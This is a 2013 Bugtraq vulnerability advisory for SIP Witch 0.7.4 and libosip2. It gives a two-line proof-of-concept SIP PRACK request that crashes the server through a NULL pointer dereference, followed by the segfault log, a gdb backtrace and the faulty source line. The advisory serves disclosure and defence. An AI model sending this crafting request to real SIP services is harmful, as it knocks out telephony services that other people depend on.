Bugtraq mailing list archives

SIP Witch 0.7.4 w/libosip2-4.0.0 DoS via NULL pointer derefence in libosip2


From: tytusromekiatomek () hushmail com
Date: Tue, 05 Mar 2013 20:54:48 +0000

####################################
# SIP Witch 0.7.4 w/libosip2-4.0.0 #
####################################
#
# Authors:
#
# 22733db72ab3ed94b5f8a1ffcde850251fe6f466
# c8e74ebd8392fda4788179f9a02bb49337638e7b
# AKAT-1
#
#######################################

* DoS by the NULL pointer derefence in libosip2. True, found in the ancient version of sipwitch
  (default in BT5) but the problem lies in the library used by it and may affect other software.
  Found independently of http://lists.gnu.org/archive/html/linphone-developers/2012-07/msg00019.html

  POC (request):
  -- cut --
  PRACK sip:1@127.0.0.1:5060;transport=udp SIP/2.0
  Call-ID: a
  -- cut --

  Results:
  -- cut --
  sipw[25179]: segfault at 8 ip 00007fae01583b20 sp 00007fadfed09d38 error 4 in 
libosipparser2.so.4.2.0[7fae01571000+25000]

  Core was generated by `/usr/sbin/sipw -d'.
  Program terminated with signal 11, Segmentation fault.
  (gdb) bt
  #0  0x00007f1d4522bb20 in osip_list_get_first () from /usr/lib/libosipparser2.so.4
  #1  0x00007f1d4544a6b7 in __osip_remove_ict_transaction () from /usr/lib/libosip2.so.4
  #2  0x00007f1d4544bc15 in osip_transaction_free () from /usr/lib/libosip2.so.4
  #3  0x00007f1d4544c0a9 in osip_transaction_init () from /usr/lib/libosip2.so.4
  ...
  (gdb) disas
  Dump of assembler code for function osip_list_get_first:
  => 0x00007f2f661c6b20 <+0>:     mov    (%rdi),%eax
  ...
  (gdb) i r
  rax            0x0      0
  ...
  -- cut --

  osipparser2/osip_list.c#221:
  -- cut --
  void *
  osip_list_get_first (osip_list_t * li, osip_list_iterator_t * iterator)
  {
  if (0 >= li->nb_elt)              <-- NPD
  ...
  -- cut --

EOF


Current thread: